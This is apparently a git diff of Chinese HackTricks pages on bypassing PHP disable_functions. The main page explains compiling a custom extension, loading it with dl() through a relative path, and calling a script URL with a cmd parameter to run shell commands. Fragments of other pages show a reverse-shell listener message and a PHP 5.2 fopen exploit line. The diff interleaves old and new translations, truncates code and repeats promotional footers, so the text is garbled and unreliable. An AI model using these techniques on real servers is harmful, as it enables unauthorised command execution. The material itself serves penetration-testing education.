* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>
**重要提示**
**重要说明**
![image](https://user-images.githubusercontent.com/84577967/174675487-a4c4ca06-194f-4725-85af-231a2f35d56c.png)
**`dl`** 是一个PHP函数用于加载PHP扩展。如果该函数未被禁用它可以被滥用以**绕过`disable_functions`并执行任意命令**。\
**`dl`** 是一个PHP函数可用于加载PHP扩展。如果该函数没有被禁用它可能被滥用以**绕过`disable_functions`并执行任意命令**。\
然而,它有一些严格的限制:
* `dl`函数必须在环境中**存在**且**未被禁用**
* PHP扩展必须使用与服务器相同的**主要版本**PHP API版本进行编译您可以在phpinfo的输出中查看此信息)
* PHP扩展必须位于由**`extension_dir`**指令定义的**目录**中您可以在phpinfo的输出中看到它。攻击者很难获得对此目录的写访问权限,因此这个要求可能会阻止您滥用这种技术)。
* `dl` 函数必须在**环境中存在**且**未被禁用**
* PHP扩展**必须与服务器使用的相同主版本**PHP API版本编译您可以在phpinfo的输出中看到这个信息)
* PHP扩展必须位于由**`extension_dir`** 指令**定义的目录**中您可以在phpinfo的输出中看到它。攻击者试图滥用服务器时,很不可能有权限写入这个目录,所以这个要求可能会阻止您滥用这种技术)。
**如果您满足这些要求,请继续阅读从**[**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **复制的帖子,了解如何绕过`disable_functions`**
**如果您满足这些要求,请继续阅读从** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **复制的帖子了解如何绕过disable\_functions**
当管理员配置服务器时,他/她忽略了[dl函数](http://www.php.net/manual/en/function.dl.php),并没有禁用它,因为没有提到可以执行系统命令的功能。\
[dl函数](http://www.php.net/manual/en/function.dl.php)用于在执行脚本时加载PHP扩展。\
当管理员配置服务器时,他/她忽略了[dl函数](http://www.php.net/manual/en/function.dl.php)并没有禁用它,因为没有提到能够执行系统命令。\
[dl函数](http://www.php.net/manual/en/function.dl.php)用于在脚本执行时加载PHP扩展。\
\
PHP扩展是用C/C++编写的,用于为PHP提供更多功能。)\
PHP扩展是用C/C++编写的,用于给PHP增加更多功能。)\
\
攻击者注意到该函数被禁用并看到了潜力决定创建一个PHP扩展。\
攻击者使用一个小脚本`<?php echo 'PHP版本为'.PHP_VERSION; ?>`PHP\_VERSION是一个预定义常量包含PHP的版本号检查PHP的版本。\
攻击者注意到该函数没有被禁用并看到了潜力决定创建一个PHP扩展。\
攻击者使用一个小脚本`<?php echo 'PHP Version is '.PHP_VERSION; ?>`PHP\_VERSION是一个预定义常量包含PHP的版本号检查PHP的版本。\
\
攻击者记录下版本号,并从[PHP网站](http://www.php.net/downloads.php)下载tarball在这种情况下,版本较旧,所以攻击者必须转到[存档](http://museum.php.net)。\
攻击者记录下版本号,并从[PHP网站](http://www.php.net/downloads.php)下载tarball在这个场景中,版本比当前发布的版本旧,所以攻击者必须去[档案馆](http://museum.php.net)。\
\
然后,他在自己的机器上解压源代码并[编译和安装](http://www.php.net/manual/en/install.php)PHP版本。\
接下来他提取源代码并[编译和安装](http://www.php.net/manual/en/install.php)在他自己的盒子上的PHP版本。\
\
现在是创建扩展的时候\
攻击者从PHP网站上阅读有关[创建PHP扩展](http://www.php.net/manual/en/zend.creating.php)的文档。\
在阅读了文档并创建了一些自己的扩展后,攻击者决定查看PHP代码库因为他想要的函数已经被创建了。\
现在是时候创建扩展了\
攻击者从PHP网站上阅读了[创建PHP扩展](http://www.php.net/manual/en/zend.creating.php)的资料。\
在阅读了文档并创建了一些自己的扩展后,他决定查看PHP代码库因为他追求的功能已经创建好了。\
\
将被复制的函数是[exec函数](http://www.php.net/manual/en/function.exec.php)在代码库中它位于ext/standard/exec.c中。\
将要复制的功能是[exec函数](http://www.php.net/manual/en/function.exec.php)\
在代码库中它位于ext/standard/exec.c\
\
相关部分被实现到一个新的扩展中。\
相关部分被实现到了它自己的新扩展中。\
\
**注意事项**
**注意:**
在开始编译代码之前,您应该注意两点:
1- `bypass.c`文件中的`ZEND_MODULE_API_NO`的值必须更改为您正在使用的当前`Zend Extension Build`的值,您可以使用以下命令行获取它:
1- `bypass.c` 文件中的 `ZEND_MODULE_API_NO` 的值必须更改为您正在使用的当前 `Zend Extension Build`,您可以使用下面的命令行获取它:
```bash
php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}'
```
2- 如果在最新的PHP版本5、7和8中编译bypass.c文件时遇到任何错误您可以将PHP_FUNCTIONbypass_exec更改为以下内容:
2- 如果您在编译最新版本的 PHP5、7 和 8中的 bypass.c 文件时遇到任何错误,您可以将 PHP_FUNCTION(bypass_exec) 更改为以下内容:
```
PHP_FUNCTION(bypass_exec)
{
@ -97,7 +96,7 @@ RETVAL_STR(ret);
}
}
```
以下是用于绕过的单独扩展的文件
文件对于单独的扩展最终如下所示
{% code title="bypass.c" %}
```c
@ -190,6 +189,8 @@ RETVAL_STRINGL(ret, total_readbytes, 0);
Z_STRVAL_P(return_value)[total_readbytes] = '\';
}
```
{% endcode %}
{% code title="php_bypass.h" %}
```c
#ifndef PHP_BYPASS_H
@ -205,6 +206,8 @@ extern zend_module_entry bypass_module_entry;
#endif
```
{% endcode %}
{% code title="config.m4" %}
```bash
PHP_ARG_ENABLE(bypass, [whether to enable bypass support],[--enable-bypass])
@ -216,43 +219,40 @@ fi
```
{% endcode %}
一旦文件创建完成,就可以开始构建PHP扩展了。
创建文件后,是时候构建PHP扩展了。
```
phpize
./configure
make
```
一旦完成,编译后的扩展将位于名bypass.so的modules子目录中。\
文件被复制到一个安全的位置,现在执行以下命令来清理新创建的文件。
完成,编译后的扩展将位于带有文件名bypass.so的modules子目录中。
文件被复制到一个安全的地方,现在执行以下命令来清理新创建的文件。
```
make clean
phpize --clean
```
现在攻击者将新创建的扩展上传到受害主机
攻击者现在将新创建的扩展上传到受害主机。
注意PHP的主要版本使用不同的API版本为了能够在一个主机上编译扩展并将其上传到另一个主机上API版本必须匹配。这就是为什么最初攻击者的机器上安装了相同的PHP版本。
为了使用dl函数加载扩展扩展必须位于由extension_dir指令定义的扩展目录中。
这可能是一个问题,因为攻击者很少有在此目录中具有写权限的情况,但是有一种方法可以解决这个问题。
注意PHP的主要版本使用不同的API版本为了能够在一个主机上编译扩展并上传到另一个主机API版本必须匹配。这就是为什么最初在攻击者的机器上安装相同PHP版本的原因。
为了使用dl函数加载扩展扩展需要位于由extension_dir指令定义的扩展目录中。
这可能是一个问题,因为攻击者不太可能拥有该目录的写权限,但是有办法解决这个问题。
开发人员在dl函数页面的注释部分讨论了这个问题。
讨论的概念是使用相对路径从定义的扩展目录开始。
例如,如果扩展目录设置为/usr/php/extensions并且您想要在当前的Web目录/home/example.com/html中加载bypass.so您可以按照以下步骤进行操作
讨论的概念是使用从定义的扩展目录的相对路径。
例如,如果扩展目录设置为/usr/php/extensions并且你想在当前的web目录/home/example.com/html中加载bypass.so你可以按照以下方式操作
```php
<?php
dl('../../../home/example.com/html/bypass.so');
?>
```
这将绕过需要在定义的扩展目录中拥有扩展的要求
此方法可以绕过需要将扩展放在定义的扩展目录中的限制
还有一种自动化的方法这样您就不必为不同的主机更改相对路径这段代码是由endofyourself \[at] yahoo \[dot] com创建,并在后来由mag\_2000 \[at] front \[dot] ru进行了改进。
还有一种自动化的方法,这样您就不必为不同的主机更改相对路径,这段代码是由 endofyourself \[at\] yahoo \[dot\] com 创建,并由 mag\_2000 \[at\] front \[dot\] ru 后来进行了改进。
该函数存在一个小问题,在某些主机上,扩展目录被设置为"./",这个函数没有考虑到如果扩展目录被设置为相对路径的情况,修复这个问题的方法是使用realpath函数。
该函数一个小问题,在某些主机上,扩展目录被设置为 "./",这个函数没有考虑到如果扩展目录被设置为相对路径的情况,解决这个问题的方法是使用 realpath 函数。
用于加载扩展并执行绕过禁用函数的系统命令的最终脚本如下所示
最终用于加载扩展并执行系统命令以绕过禁用函数的脚本如下:
```php
<?php
@ -314,22 +314,20 @@ echo '<pre>'.$output.'</pre>';
}
?>
```
现在攻击者只需调用脚本的URL并附带一个cmd变量和所需的命令即可执行命令。
攻击者现在只需调用带有所需命令的 cmd 变量的脚本 URL 即可执行命令。
```
http://www.example.com/script.php?cmd=ls
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
@ -69,16 +67,14 @@ echo file_get_contents($data_file);
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击技巧</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>零基础学习 AWS 黑客攻击到高手</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持 HackTricks 的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
@ -59,16 +57,14 @@ echo "Executing the script now. Check your listener <img src = 'shell.dizzle' st
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击技巧通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><strong>零基础学习AWS黑客技术直至高级水平通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品-[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
@ -43,16 +41,14 @@ echo '不支持pcntl扩展';
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直至成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,21 +1,19 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
# PHP 5.2 - FOpen漏洞利用
# PHP 5.2 - FOpen漏洞
来自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
@ -23,16 +21,14 @@ php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");'
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
